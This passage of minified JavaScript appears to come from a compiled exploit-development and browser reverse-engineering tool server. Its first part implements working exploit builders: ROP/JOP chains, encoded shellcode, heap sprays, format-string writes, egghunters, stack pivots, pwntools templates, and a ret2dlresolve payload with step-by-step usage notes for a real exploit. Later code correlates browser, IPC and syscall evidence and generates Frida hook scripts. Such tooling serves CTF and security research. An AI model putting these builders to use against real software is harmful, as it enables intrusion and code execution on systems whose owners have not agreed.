Uint8Array(g)}}function ge(e,t,n,r,i,a){let o=a??r+24,s=new Uint8Array(24),c=o>>>0,l=Math.floor(o/4294967296)>>>0;for(let e=0;e<4;e++)s[e]=c>>e*8&255;for(let e=0;e<4;e++)s[4+e]=l>>e*8&255;let u=r+24,d=X(u,t,24),f=new Uint8Array(d),p=u+d,m=(p-t)/24;for(let e=0;e<4;e++)s[8+e]=7>>e*8&255;for(let e=0;e<4;e++)s[12+e]=m>>e*8&255;for(let e=16;e<24;e++)s[e]=0;let h=new Uint8Array(24),g=p+24-n;h[0]=g&255,h[1]=g>>8&255,h[2]=g>>16&255,h[3]=g>>24&255,h[4]=18,h[5]=0,h[6]=0,h[7]=0;for(let e=8;e<24;e++)h[e]=0;let _=new TextEncoder().encode(i+`\0`);return{fakeRel:s,alignmentPadding:f,fakeSym:h,symbolName:new Uint8Array(_)}}function X(e,t,n){return(n-((e-t)%n+n)%n)%n}function Z(e){return Array.from(e).map(e=>e.toString(16).padStart(2,`0`)).join(``)}function Q(e){return parseInt(e,16)}function $(e){let t=me(e.elfHex,e.arch);if(t.jmprel===0||t.symtab===0||t.strtab===0)throw Error(`ELF missing required dynamic entries (JMPREL, SYMTAB, STRTAB). Ensure the binary is dynamically linked.`);let n=e.elfHex.replace(/\s/g,``),r=new Uint8Array(n.length/2);for(let e=0;e<n.length;e+=2)r[e/2]=parseInt(n.substring(e,e+2),16);let i=e.arch===`x64`,a=[],o=0,s=0,c=0;i?(o=Number(Y(r,32)),s=q(r,54),c=q(r,56)):(o=J(r,28),s=q(r,42),c=q(r,44));for(let e=0;e<c;e++){let t=o+e*s;if(J(r,t)===2){let e=i?Number(Y(r,t+8)):J(r,t+4),n=i?Number(Y(r,t+32)):J(r,t+16),o=i?16:8;for(let t=0;t<n;t+=o){let n=e+t;if(n+o>r.length)break;let s=i?Number(Y(r,n)):J(r,n),c=i?Number(Y(r,n+8)):J(r,n+4);if(a.push({tag:s,value:c}),s===0)break}}}let l=pe(a,t.hasGnuRelro);if(l.relro===`full`)throw Error(`Full RELRO detected on this binary — ret2dlresolve is NOT possible.
64
+ Full RELRO means DT_BIND_NOW is set and all PLT relocations are resolved at load time.
65
+ The GOT is marked read-only after relocation, so fake entries cannot be resolved lazily.
66
+ Consider alternative techniques: ROP-based GOT overwrite, or targeting a different binary.`+(l.glibc34?`
67
+ Also detected glibc >= 2.34 (DT_GNU_HASH + DT_VERSYM) — dl_runtime_resolve hardening may further limit this technique.`:``));let u=Q(e.fakeStructsAddr),d=e.knownGotAddr?Q(e.knownGotAddr):void 0,f=e.elfLoadBase?Q(e.elfLoadBase):0,p=t.jmprel+f,m=t.symtab+f,h=t.strtab+f,g=t.plt0Addr+f,_,v,y,b;e.arch===`x86`?{fakeRel:_,alignmentPadding:v,fakeSym:y,symbolName:b}=he(p,m,h,u,e.targetFunction,d):{fakeRel:_,alignmentPadding:v,fakeSym:y,symbolName:b}=ge(p,m,h,u,e.targetFunction,d);let x=_.length+v.length+y.length+b.length,S=new Uint8Array(x);S.set(_,0),S.set(v,_.length),S.set(y,_.length+v.length),S.set(b,_.length+v.length+y.length);let C=u-p,w=`This is an offline payload builder. To use in an actual exploit:
68
+ 1. Write payloadHex to a writable memory region at fakeStructsAddr.
69
+ 2. Overwrite a GOT entry with the address of fakeStructsAddr.
70
+ 3. Trigger the overwritten PLT call with reloc_offset pushed OR call PLT[0] directly with reloc_offset.
71
+ 4. Ensure stack alignment (16-byte for x64) before the call.
72
+ The resolver will treat the fake entries as real and resolve targetFunction.`;return l.glibc34&&(w+=`
73
+
74
+ WARNING: glibc >= 2.34 detected (DT_GNU_HASH + DT_VERSYM). Modern glibc versions have hardened dl_runtime_resolve. Verify the resolver logic for your specific glibc version.`),{payloadHex:Z(S),details:{fakeRelHex:Z(_),fakeSymHex:Z(y),symbolNameHex:Z(b),fakeStructsAddr:`0x${u.toString(16)}`,totalSize:x,relocOffset:`0x${C.toString(16)}`,jmprelAddr:`0x${p.toString(16)}`,plt0Addr:`0x${g.toString(16)}`},note:w}}var _e=class{gadgetFinder=new f;ropBuilder=new h;shellcodeEncoder=new ae;mitigationDetector=new oe;patternGenerator=new se;heapExploit=new W;egghunterEncoder=new N;stackPivotBuilder=new V;jopChainBuilder=new g;pwntoolsBuilder=new H;cache=new j;cacheHandler;constructor(e){this.cacheHandler=new M(this.cache)}async handleFindGadgets(e){return r(async()=>{let{binaryPath:t,arch:n,maxGadgets:r=1e3,pattern:i,maxDepth:a=5,type:o=`rop`}=e;if(!c.existsSync(t))throw Error(`Binary file not found: ${t}`);let s=await this.cache.computeBinaryHash(t),l=this.cache.buildGadgetKey(s,n,i,a),u=this.cache.getConfig(),d=this.cache.get(l,u.ttlGadgets);if(d)return{...d,cached:!0};let f=c.readFileSync(t),p=await this.gadgetFinder.findGadgets(f,n,{maxGadgets:r,pattern:i,maxDepth:a,type:o===`rop`||o===`jop`||o===`cop`||o===`coop`?o:`rop`}),m={gadgets:p,count:p.length,arch:n,binaryPath:t};return this.cache.set(l,m,s),{...m,cached:!1}})}async handleBuildRopChain(e){return r(async()=>{let{binaryPath:t,arch:n,goal:r,...i}=e;if(!c.existsSync(t))throw Error(`Binary file not found: ${t}`);let a=await this.cache.computeBinaryHash(t),o=this.cache.buildRopChainKey(a,r,i),s=this.cache.getConfig(),l=this.cache.get(o,s.ttlRopChain);if(l)return{...l,cached:!0};let u=c.readFileSync(t),d=await this.ropBuilder.buildChain(u,n,r,i);return this.cache.set(o,d,a),{...d,cached:!1}})}async handleEncodeShellcode(e){return r(async()=>{let{shellcode:t,encoding:n,arch:r,badChars:i,xorKey:a}=e,o=this.cache.buildShellcodeKey(t,n,i,a),s=this.cache.getConfig(),c=this.cache.get(o,s.ttlShellcode);if(c)return{...c,cached:!0};let l=Buffer.from(t,`hex`),u=this.shellcodeEncoder.encode(l,n,r,{badChars:i,xorKey:a});return this.cache.set(o,u,``),{...u,cached:!1}})}async handleAnalyzeMitigations(e){return r(async()=>{let{binaryPath:t}=e;if(!c.existsSync(t))throw Error(`Binary file not found: ${t}`);let n=await this.cache.computeBinaryHash(t),r=this.cache.buildMitigationKey(n),i=this.cache.getConfig(),a=this.cache.get(r,i.ttlMitigations);if(a)return{...a,cached:!0};let o=await this.mitigationDetector.analyze(t),s={...o,summary:this.summarizeMitigations(o)};return this.cache.set(r,s,n),{...s,cached:!1}})}async handleCalculateOffsets(e){return r(async()=>{let{pattern:t,crashValue:n}=e;return this.patternGenerator.calculateOffset(t,n)})}async handleGeneratePattern(e){return r(async()=>{let{length:t,charset:n}=e;return this.patternGenerator.generatePattern(t,n)})}async handleFindJmpEsp(e){return r(async()=>{let{binaryPath:t,arch:n,register:r}=e;if(!c.existsSync(t))throw Error(`Binary file not found: ${t}`);let i=await this.cache.computeBinaryHash(t),a=this.cache.buildJmpRegisterKey(i,n,r),o=this.cache.getConfig(),s=this.cache.get(a,o.ttlGadgets);if(s)return{...s,cached:!0};let l=c.readFileSync(t),u=await this.gadgetFinder.findJmpRegister(l,n,r),d={gadgets:u,count:u.length,register:r,arch:n};return this.cache.set(a,d,i),{...d,cached:!1}})}async handleBuildHeapSpray(e){return r(async()=>({...this.heapExploit.generateSpray(e),cached:!1}))}async handleBuildFormatString(e){return r(async()=>({...this.heapExploit.generateFormatString(e),cached:!1}))}async handleGenerateEgghunter(e){return r(async()=>{let{type:t,arch:n,eggTag:r}=e,i=new Set([`access`,`seh`]);if(!i.has(t))throw Error(`Invalid type: "${t}". Expected one of: ${[...i].join(`, `)}`);return this.egghunterEncoder.generate(t,n,r)})}async handleBuildStackPivot(e){return r(async()=>{let{binaryPath:t,arch:n,reg:r,redirectTo:i}=e;return await this.stackPivotBuilder.buildPivot(t,n,r,i)})}async handleCacheInvalidate(e){return r(async()=>{let{binaryPath:t}=e;if(!t){let e=this.cache.getStats().entries;return this.cache.clear(),{success:!0,message:`Cache cleared: removed ${e} entries`,entriesRemoved:e}}let n;try{n=await this.cache.computeBinaryHash(t)}catch{return{success:!0,message:`No matching cache entries found (binary not readable: ${t})`,entriesRemoved:0}}let r=this.cache.removeByHash(n);return{success:!0,message:r>0?`Cache invalidated: removed ${r} entries for binary ${t}`:`No matching cache entries found for binary ${t}`,entriesRemoved:r}})}async handleGetCacheStats(){return this.cacheHandler.handleGetCacheStats()}async handleClearCache(){return this.cacheHandler.handleClearCache()}async handleConfigureCache(e){return this.cacheHandler.handleConfigureCache(e)}async handleSolveConstraints(e){return G(e)}async handleVerifyRopChain(e){return fe(e)}async handleBuildJopChain(e){return r(async()=>{let{binaryPath:t,arch:n,type:r=`jop`,goal:i=`execve`,maxGadgets:a=200}=e;if(!c.existsSync(t))throw Error(`Binary file not found: ${t}`);let o=c.readFileSync(t),s=n,l;if(r===`jop`)l=await this.jopChainBuilder.buildJopChain(o,s,{goal:i,maxGadgets:a});else if(r===`cop`)l=await this.jopChainBuilder.buildCopChain(o,s,{goal:i,maxGadgets:a});else if(r===`coop`)l=await this.jopChainBuilder.buildCoopChain(o,s,{goal:i,maxGadgets:a});else throw Error(`Unknown JOP chain type: ${r}. Valid: jop, cop, coop`);return l})}async handleDiscoverOneGadget(e){return r(async()=>{let{libcPath:t,libcId:n,listKnown:r}=e;if(r){let{listKnownLibcIds:e}=await import(`./one-gadget-CiWFE17F.mjs`);return{success:!0,knownLibcIds:e()}}let{discoverOneGadgets:i}=await import(`./one-gadget-CiWFE17F.mjs`);return i(t??``,n)})}async handleGeneratePwntools(e){return r(async()=>this.pwntoolsBuilder.generate({template:e.template,binary:e.binary,arch:e.arch,remote:e.remote,ropChain:e.ropChain?{chain:e.ropChain,gadgets:[]}:void 0,shellcode:e.shellcode,oneGadgetOffset:e.oneGadgetOffset,libcPath:e.libcPath,libcBase:e.libcBase,formatArgs:e.formatWrites&&e.formatOffset?{offset:e.formatOffset,writes:e.formatWrites.map(e=>({addr:e.addr,value:e.value,size:e.size??4}))}:void 0}))}async handleBuildRet2dlresolve(e){return r(async()=>$({arch:e.arch,elfHex:e.elfHex,fakeStructsAddr:e.fakeStructsAddr,targetFunction:e.targetFunction,elfLoadBase:e.elfLoadBase,knownGotAddr:e.knownGotAddr}))}summarizeMitigations(e){let t=[],n=[];return e.nx?t.push(`NX/DEP`):n.push(`NX/DEP`),e.pie?t.push(`PIE`):n.push(`PIE`),e.canary?t.push(`Stack Canary`):n.push(`Stack Canary`),e.relro===`none`?n.push(`RELRO`):t.push(`RELRO (${e.relro})`),e.aslr?t.push(`ASLR`):n.push(`ASLR`),e.fortify&&t.push(`FORTIFY_SOURCE`),e.cfg&&t.push(`CFG (Control Flow Guard)`),`Enabled: ${t.join(`, `)}. Disabled: ${n.join(`, `)}.`}};export{_e as ExploitDevHandlers};
@@ -0,0 +1,2 @@
1
+ import{n as e}from"./response-R8ghbZSb.mjs";import{c as t,i as n,n as r}from"./parse-args-B6dwWc9k.mjs";import{n as i,r as a}from"./ResponseBuilder-BLicSCjn.mjs";function o(e){return e.toLowerCase().replace(/[^a-z0-9]/g,``)}function s(e,t){let n=o(e),r=o(t);return n===r&&n.length>0?1:n.length===0||r.length===0?0:n.includes(r)||r.includes(n)?.8:0}function c(e,t){let n=0,r;for(let i of t){let t=s(e,i.name);t>n&&(n=t,r={objectId:i.objectId,name:i.name,score:t});for(let t of i.stringProps){let a=s(e,t);a>n&&(n=a,r={objectId:i.objectId,name:i.name,score:a})}}if(r&&n>=.5)return r}function l(e,t){let n=[],r=[],i=[],a=new Set,o=[];for(let e of t.sceneTree.layers)o.push({id:e.id,label:e.label,heapObjectId:e.heapObjectId});for(let e of t.sceneTree.drawCommands)o.push({id:e.id,label:e.label});let s=o.length;for(let s of o){let o=e.addCanvasNode({nodeId:s.id,label:s.label});if(n.push(o.id),s.heapObjectId){let i=t.jsObjects.find(e=>e.objectId===s.heapObjectId);if(i){let t=e.addV8Object({address:s.heapObjectId,name:i.name});n.push(t.id),e.getGraph().addEdge(t.id,o.id,`canvas-rendered-by`,{domain:`cross-domain`,matchScore:1}),r.push({skiaNodeId:s.id,matchedObjectId:i.objectId,matchedObjectName:i.name,matchScore:1}),a.add(s.id);continue}}let l=c(s.label,t.jsObjects);if(l){let t=e.addV8Object({address:l.objectId,name:l.name});n.push(t.id),e.getGraph().addEdge(t.id,o.id,`canvas-rendered-by`,{domain:`cross-domain`,matchScore:l.score}),r.push({skiaNodeId:s.id,matchedObjectId:l.objectId,matchedObjectName:l.name,matchScore:l.score}),a.add(s.id)}else i.push(s.id)}return{skiaNodes:s,correlations:r,unmatchedSkiaNodes:i,confidence:s===0?0:r.length/s,graphNodeIds:n}}const u=[{mojoPattern:/URLLoader/i,cdpPattern:/Network\./i},{mojoPattern:/WebSocket/i,cdpPattern:/Network\.webSocket/i},{mojoPattern:/Fetch/i,cdpPattern:/Fetch\./i}];function d(e,t,n,r){let i=[],a=[],o=new Set,s=new Map;for(let t of r){let{node:n}=e.addNetworkRequest({requestId:t.requestId,url:t.url});s.set(t.requestId,n.id),i.push(n.id)}if(t.length===0)return{mojoMessages:0,matchedPairs:[],unmatchedMojo:[],confidence:0,graphNodeIds:i};let c=new Map;for(let n of t){let t=e.addMojoMessage({interface:n.interface,method:n.method,timestamp:n.timestamp});c.set(n.messageId,t.id),i.push(t.id)}for(let e of t)if(!o.has(e.messageId))for(let t of u){if(!t.mojoPattern.test(e.interface))continue;let r=n.find(n=>t.cdpPattern.test(n.eventType)&&!o.has(e.messageId));if(r){a.push({mojoMessageId:e.messageId,matchType:`interface`,cdpEventType:r.eventType}),o.add(e.messageId);break}}for(let n of t)if(!o.has(n.messageId)&&/URLLoader/i.test(n.interface)){let t=r.find(e=>Math.abs(e.timestamp-n.timestamp)<=50);if(t){let r=s.get(t.requestId),i=c.get(n.messageId);r&&i&&e.getGraph().addEdge(r,i,`mojo-routed-to`,{domain:`cross-domain`,relation:`network-request-correlates-to-mojo`,matchType:`urlloader`,timestampDelta:Math.abs(t.timestamp-n.timestamp)}),a.push({mojoMessageId:n.messageId,matchType:`urlloader`,networkRequestId:t.requestId,timestampDelta:Math.abs(t.timestamp-n.timestamp)}),o.add(n.messageId)}}for(let e of t){if(o.has(e.messageId))continue;let t=1/0,r;for(let i of n){let n=Math.abs(i.timestamp-e.timestamp);n<=50&&n<t&&(t=n,r=i)}r&&(a.push({mojoMessageId:e.messageId,matchType:`timestamp`,cdpEventType:r.eventType,timestampDelta:t}),o.add(e.messageId))}let l=t.filter(e=>!o.has(e.messageId)).map(e=>e.messageId),d=t.length===0?0:o.size/t.length;return{mojoMessages:t.length,matchedPairs:a,unmatchedMojo:l,confidence:d,graphNodeIds:i}}const f={NtReadFile:/read|fs[_.]read/i,NtWriteFile:/write|fs[_.]write/i,NtOpenFile:/open|fs[_.]open/i,NtCreateFile:/create|fs[_.]create/i,NtClose:/close|fs[_.]close/i,NtDeviceIoControlFile:/ioctl|device/i,NtQueryInformationFile:/stat|info|query/i,NtSetInformationFile:/set|chmod|chown/i};function p(e,t){let n=f[e];return n&&n.test(t)?`high`:/file|fs|read|write|open|close/i.test(t)?`medium`:`low`}function m(e,t,n){let r=[],i=[],a=[];if(t.length===0)return{syscalls:0,correlations:[],unmatchedSyscalls:[],correlationConfidence:0,graphNodeIds:[]};for(let o of t){let t=e.addSyscallEvent({pid:o.pid,tid:o.tid,syscallName:o.syscallName,timestamp:o.timestamp});r.push(t.id);let s=n.find(e=>e.threadId===o.tid&&e.timestamp===o.timestamp);if(s&&s.frames.length>0){let n=s.frames[0];if(n){let a=n.functionName,s=p(o.syscallName,a),c=e.addNode(`function`,a,{domain:`v8-inspector`,functionName:a,threadId:o.tid});r.push(c.id),e.getGraph().addEdge(c.id,t.id,`syscall-emitted-by`,{domain:`cross-domain`,confidence:s}),i.push({syscallName:o.syscallName,topJsFunction:a,threadId:o.tid,timestamp:o.timestamp,confidence:s})}else a.push({syscallName:o.syscallName,tid:o.tid})}else a.push({syscallName:o.syscallName,tid:o.tid})}let o=t.length===0?0:i.length/t.length;return{syscalls:t.length,correlations:i,unmatchedSyscalls:a,correlationConfidence:o,graphNodeIds:r}}const h=[/^native_/i,/^JS_/i,/^Java_/i];function g(e){return e.calledFrom&&e.calledFrom.length>0?!0:h.some(t=>t.test(e.name))}function _(e,t){let n=[];n.push(`// Binary-to-JS Hook Script`),n.push(`// Module: ${t}`),n.push(`// Generated at: ${new Date().toISOString()}`),n.push(``);for(let r of e){let e=r.moduleName||t;r.address?(n.push(`// Hook: ${r.name} at ${r.address} in ${e}`),n.push(`Interceptor.attach(Module.findBaseAddress('${e}').add(${r.address}), {`)):(n.push(`// Hook: ${r.name} in ${e}`),n.push(`Interceptor.attach(Module.findExportByName('${e}', '${r.name}'), {`)),n.push(` onEnter(args) {`),n.push(` console.log('[${r.name}] called with args:', args[0], args[1]);`),n.push(` },`),n.push(` onLeave(retval) {`),n.push(` console.log('[${r.name}] returned:', retval);`),n.push(` }`),n.push(`});`),n.push(``)}return n.push(`console.log('Binary-to-JS hook script loaded for ${t}');`),n.join(`
2
+ `)}function ee(e,t,n){let r=[],i=[],a;if(n&&n.length>0){let e=new Set(n);a=t.functions.filter(t=>e.has(t.name))}else a=t.functions.filter(g);let o=_(a,t.moduleName);for(let n of a){let a=e.addBinarySymbol({moduleName:n.moduleName||t.moduleName,symbolName:n.name,address:n.address??`0x0`}),o=e.addNode(`breakpoint-hook`,`frida:${n.name}`,{domain:`binary-instrument`,hookType:`frida-interceptor`,functionName:n.name,moduleName:n.moduleName||t.moduleName});e.getGraph().addEdge(a.id,o.id,`binary-exports`,{domain:`cross-domain`,relation:`binary-to-frida-hook`}),r.push({binarySymbolNodeId:a.id,hookScriptNodeId:o.id,functionName:n.name}),i.push(n.name)}return{hookCount:a.length,generatedHookScript:o,injectedFunctions:i,evidenceGraphLinks:r}}function v(e,t){return e.requestId&&e.requestId.length>0?e.requestId:`network:${t}:${e.url}`}function y(e){if(e)return e.find(e=>typeof e==`string`&&e.length>0)}function b(e,t){let n=[],r=[],i=[];if(t.length===0)return{networkRequests:0,correlations:r,unmatched:i,confidence:0,graphNodeIds:n};let a=e.exportGraph(),o=new Map,s=new Map,c=new Map;for(let e of a.nodes)e.type===`network-request`&&typeof e.metadata.requestId==`string`?o.set(e.metadata.requestId,e.id):e.type===`function`&&typeof e.metadata.functionName==`string`?s.set(e.metadata.functionName,e.id):e.type===`v8-heap-object`&&typeof e.metadata.address==`string`&&c.set(e.metadata.address,e.id);t.forEach((t,a)=>{let l=v(t,a),u=o.get(l);if(!u){let{node:r}=e.addNetworkRequest({requestId:l,url:t.url,method:t.method});u=r.id,o.set(l,r.id),n.push(r.id)}let d=t.initiator,f,p=`none`,m=0;if(d?.heapAddress){let e=c.get(d.heapAddress);e&&(f=e,p=`heap-address`,m=1)}if(!f){let t=d?.functionName,r=y(d?.stack),i=t&&t.length>0?t:r;if(i){let r=s.get(i);if(r)f=r,m=.8;else{let t=e.addNode(`function`,i,{domain:`v8-inspector`,functionName:i});s.set(i,t.id),n.push(t.id),f=t.id,m=.5}p=t&&t.length>0?`function-name`:`stack-frame`}}f?(e.getGraph().addEdge(f,u,`network-initiated-by`,{domain:`cross-domain`,relation:`initiator-triggers-network`,confidence:m,matchType:p}),r.push({requestId:l,matchType:p,initiatorFunctionName:d?.functionName,initiatorHeapAddress:d?.heapAddress,confidence:m})):i.push(l)});let l=r.length/t.length;return{networkRequests:t.length,correlations:r,unmatched:i,confidence:l,graphNodeIds:n}}function x(e){return typeof e==`object`&&!!e&&!Array.isArray(e)}function S(e){return Array.isArray(e)?e.filter(x):[]}function C(e,t=``){return typeof e==`string`?e:t}function w(e,t=0){if(typeof e==`number`&&Number.isFinite(e))return e;if(typeof e==`string`){let t=Date.parse(e);if(Number.isFinite(t))return t}return t}function T(e,t){let n=e[t];return x(n)?n:null}function E(e){return T(e,`data`)??e}function D(e){return i.parse(e)}function O(e,t){for(let n of t){let t=e[n];if(Array.isArray(t))return t}let n=E(e);for(let e of t){let t=n[e];if(Array.isArray(t))return t}return[]}function k(e){return S(e).map((e,t)=>{let n=C(e.interface,C(e.interfaceName)),r=C(e.method,C(e.messageType)),i=w(e.timestamp,Date.now()),a=C(e.messageId,`${n||`mojo`}:${r||`message`}:${i}:${t}`);return{...e,interface:n,method:r,timestamp:i,messageId:a}})}function A(e){return S(e).map((e,t)=>({...e,requestId:C(e.requestId,`network:${t}`),url:C(e.url),timestamp:w(e.timestamp)}))}function te(e){return S(e).map(e=>({...e,syscallName:C(e.syscallName,C(e.syscall)),timestamp:w(e.timestamp),tid:w(e.tid,w(e.threadId,w(e.pid))),pid:w(e.pid)}))}function ne(e){return S(e).map(e=>{let t=x(e.syscall)?e.syscall:e,n=S(Array.isArray(e.stack)?e.stack:Array.isArray(e.frames)?e.frames:[]).map(e=>({functionName:C(e.functionName,`<anonymous>`)}));return{threadId:w(t.tid,w(t.threadId,w(t.pid))),timestamp:w(t.timestamp),frames:n}})}var re=class{ctx;constructor(e){this.ctx=e}async hydrate(e){let t={...e},n=[],r={};if(await this.fetchIfMissing(t,r,n,`sceneTree`,`skia_extract_scene`,{},e=>{let t=E(e).sceneTree;return x(t)?t:{layers:[],drawCommands:[]}}),await this.fetchIfMissing(t,r,n,`mojoMessages`,`mojo_messages_get`,{limit:1e3},e=>k(O(e,[`messages`]))),await this.fetchIfMissing(t,r,n,`networkRequests`,`network_get_requests`,{limit:1e3,autoEnable:!1},e=>A(O(e,[`requests`]))),await this.fetchIfMissing(t,r,n,`syscallEvents`,`syscall_capture_events`,{},e=>te(O(e,[`events`]))),await this.fetchIfMissing(t,r,n,`jsStacks`,`syscall_stack_capture`,{maxEvents:100,useDebugger:!0},e=>ne(O(e,[`events`]))),this.isMissing(t,`ghidraOutput`)){let e=C(t.binaryPath,C(t.filePath));e&&await this.fetchIfMissing(t,r,n,`ghidraOutput`,`ghidra_analyze`,{binaryPath:e},e=>E(e))}return{args:t,errors:n,sources:r}}async fetchIfMissing(e,t,n,r,i,a,o){if(this.isMissing(e,r)){if(!this.ctx){let e=`MCPServerContext unavailable for live domain fetch`;t[r]={tool:i,fetched:!1,error:e},n.push(`${r}: ${e}`);return}try{let n=o(D(await this.ctx.executeToolWithTracking(i,a)));e[r]=n,t[r]={tool:i,fetched:!0,count:Array.isArray(n)?n.length:void 0}}catch(a){let o=a instanceof Error?a.message:String(a);t[r]={tool:i,fetched:!1,error:o},n.push(`${r}: ${o}`),e[r]=this.emptyValueFor(r)}}}isMissing(e,t){return e[t]===void 0||e[t]===null}emptyValueFor(e){return e===`sceneTree`?{layers:[],drawCommands:[]}:[]}};function ie(e){return new Set(e.toLowerCase().split(/[^a-z0-9+#._-]+/i).filter(e=>e.length>1))}const j=[{concept:`hook-intercept`,synonyms:[`hook`,`intercept`,`trap`,`monitor`,`capture`,`sniff`,`拦截`,`hook`],tools:[`manage_hooks`,`console_inject`,`network_intercept`,`breakpoint`,`script_replace_persist`],confidence:.9,description:`Hook, intercept, or trap function calls, network requests, or script execution`},{concept:`deobfuscation`,synonyms:[`deobfuscate`,`unpack`,`decode`,`decrypt`,`unobfuscate`,`unminify`,`antiobfuscation`],tools:[`deobfuscate`,`webcrack_unpack`,`analysis_decode_string_array`,`analysis_deflat_control_flow`,`js_deobfuscate_pipeline`],confidence:.95,description:`Deobfuscate, unpack, or decode obfuscated JavaScript`},{concept:`network-analysis`,synonyms:[`network`,`http`,`request`,`response`,`fetch`,`xhr`,`api`,`traffic`,`har`,`proxy`],tools:[`network_enable`,`network_get_requests`,`network_intercept`,`network_export_har`,`api_probe_batch`,`proxy_add_rule`],confidence:.9,description:`Analyze, intercept, or export network traffic and API calls`},{concept:`memory-heap`,synonyms:[`memory`,`heap`,`leak`,`allocation`,`retained`,`object`,`gc`,`snapshot`],tools:[`performance_take_heap_snapshot`,`v8_heap_snapshot_capture`,`v8_heap_snapshot_analyze`,`v8_heap_find_leaks`,`v8_heap_diff`,`v8_function_retained`],confidence:.9,description:`Inspect heap memory, find leaks, analyze object retention`},{concept:`debugging`,synonyms:[`debug`,`breakpoint`,`pause`,`step`,`stack`,`callstack`,`scope`,`inspect`],tools:[`breakpoint`,`debugger_pause`,`debugger_step`,`get_call_stack`,`get_scope_variables_enhanced`,`debugger_evaluate`],confidence:.95,description:`Debug JavaScript execution, set breakpoints, inspect variables`},{concept:`graphql`,synonyms:[`graphql`,`introspection`,`schema`,`query`,`mutation`,`subscription`],tools:[`graphql_introspect`,`graphql_enum_schema`,`graphql_extract_queries`,`graphql_replay`],confidence:.95,description:`Introspect, enumerate, or replay GraphQL APIs`},{concept:`websocket`,synonyms:[`websocket`,`ws`,`realtime`,`stream`,`sse`,`eventsource`,`push`],tools:[`ws_monitor`,`ws_get_frames`,`sse_monitor_enable`,`sse_get_events`,`webrtc_monitor`],confidence:.9,description:`Monitor WebSocket, SSE, or WebRTC real-time communication`},{concept:`webgpu-shader`,synonyms:[`webgpu`,`shader`,`gpu`,`compute`,`render`,`wgsl`,`spirv`,`pipeline`],tools:[`webgpu_shader_source_capture`,`webgpu_shader_disassemble`,`webgpu_pipeline_dump`,`webgpu_capture_commands`],confidence:.9,description:`Capture, disassemble, or analyze WebGPU shaders and pipelines`},{concept:`wasm`,synonyms:[`wasm`,`webassembly`,`module`,`import`,`export`,`memory.grow`],tools:[`wasm_inspect`,`v8_wasm_inspect`,`wasm_diff`],confidence:.9,description:`Inspect WebAssembly modules, compare versions, analyze imports`},{concept:`protobuf-binary`,synonyms:[`protobuf`,`proto`,`encode`,`decode`,`binary`,`message`,`serialize`],tools:[`protobuf_decode_raw`,`binary_decode`,`binary_encode`,`binary_detect_format`],confidence:.85,description:`Decode protobuf, base64, or binary-encoded payloads`},{concept:`trace-recording`,synonyms:[`trace`,`record`,`replay`,`timeline`,`timestamp`,`seek`],tools:[`trace_recording`,`start_trace_recording`,`seek_to_timestamp`,`summarize_trace`,`export_trace`],confidence:.9,description:`Record, replay, or analyze execution traces`},{concept:`v8-internals`,synonyms:[`v8`,`bytecode`,`jit`,`turbofan`,`deoptimize`,`optimize`,`ignition`],tools:[`v8_bytecode_extract`,`v8_turbofan_inspect`,`v8_jit_inspect`,`v8_deopt_trace`,`debugger_disassemble`],confidence:.9,description:`Inspect V8 internals: bytecode, JIT, deoptimization`},{concept:`crypto-detection`,synonyms:[`crypto`,`encrypt`,`decrypt`,`hash`,`hmac`,`sign`,`aes`,`rsa`,`sha`],tools:[`detect_crypto`,`binary_entropy_analysis`,`analysis_security_scan`],confidence:.85,description:`Detect cryptographic operations, analyze entropy, scan for secrets`},{concept:`canvas-skia`,synonyms:[`canvas`,`skia`,`render`,`draw`,`paint`,`image`,`texture`,`font`],tools:[`skia_extract_scene`,`skia_correlate_objects`,`canvas_scene_dump`,`skia_detect_renderer`],confidence:.9,description:`Extract and analyze Skia/Canvas rendering scenes`},{concept:`storage`,synonyms:[`storage`,`cookie`,`localstorage`,`sessionstorage`,`indexeddb`,`cache`,`database`],tools:[`page_cookies`,`page_local_storage`,`page_session_storage`,`indexeddb_dump`,`page_storage_info`],confidence:.85,description:`Read, write, or inspect browser storage (cookies, localStorage, IndexedDB)`},{concept:`cross-domain-correlation`,synonyms:[`correlate`,`evidence`,`cross`,`bridge`,`link`,`chain`,`multi-domain`],tools:[`cross_domain_correlate_all`,`cross_domain_evidence_query`,`cross_domain_evidence_stats`],confidence:.9,description:`Correlate evidence across domains, query the shared evidence graph`},{concept:`mojo-ipc`,synonyms:[`mojo`,`ipc`,`message`,`interface`,`channel`,`interprocess`],tools:[`mojo_send_message`,`mojo_get_messages`,`mojo_intercept`],confidence:.9,description:`Send, capture, or intercept Mojo IPC messages`},{concept:`binary-analysis`,synonyms:[`binary`,`native`,`frida`,`ghidra`,`hook`,`instrument`,`unidbg`,`emulate`],tools:[`ghidra_analyze`,`generate_hooks`,`native_emulator_launch`,`binary_decode`],confidence:.85,description:`Analyze native binaries, generate hooks, emulate ARM64`},{concept:`syscall`,synonyms:[`syscall`,`systemcall`,`kernel`,`process`,`file`,`registry`],tools:[`syscall_start_monitor`,`syscall_stop_monitor`,`syscall_get_events`,`syscall_correlate_js`],confidence:.9,description:`Monitor, capture, or correlate system calls`},{concept:`obfuscation-detection`,synonyms:[`obfuscation`,`packed`,`vm`,`virtualization`,`protector`,`混淆`,`jscrambler`,`javascript-obfuscator`],tools:[`detect_obfuscation`,`js_analyze_vm`,`deobfuscate`,`detect_crypto`],confidence:.85,description:`Detect obfuscation techniques, analyze VM-based protection`}];function M(e,t=10){if(!e||e.trim().length===0)return[];let n=ie(e),r=[];for(let e of j){let t=[];for(let r of n){if(e.synonyms.some(e=>e===r)){t.push(r);continue}for(let n of e.synonyms)if(n.length>=4&&r.length>=4&&(n.includes(r)||r.includes(n))){t.push(r);break}}if(t.length>0){let n=[...new Set(t)],i=n.length*e.confidence;r.push({concept:e.concept,description:e.description,confidence:e.confidence,matchedTokens:n,recommendedTools:e.tools,score:Number(i.toFixed(3))})}}return r.sort((e,t)=>t.score===e.score?t.matchedTokens.length-e.matchedTokens.length:t.score-e.score),r.slice(0,t)}function N(){return{conceptCount:j.length,totalToolReferences:j.reduce((e,t)=>e+t.tools.length,0),concepts:j.map(e=>({concept:e.concept,synonymCount:e.synonyms.length,toolCount:e.tools.length}))}}function P(e){return typeof e==`object`&&!!e}function F(e){return Array.isArray(e)?e.filter(P):[]}function I(e,t=``){return typeof e==`string`?e:t}function L(e){return typeof e==`string`?e:void 0}function R(e,t=0){return typeof e==`number`?e:t}function z(e){return Array.isArray(e)?e.filter(e=>typeof e==`string`):[]}function B(e){return Array.isArray(e)?e.filter(e=>typeof e==`string`):void 0}function V(e){return P(e)?Object.fromEntries(Object.entries(e).filter(e=>typeof 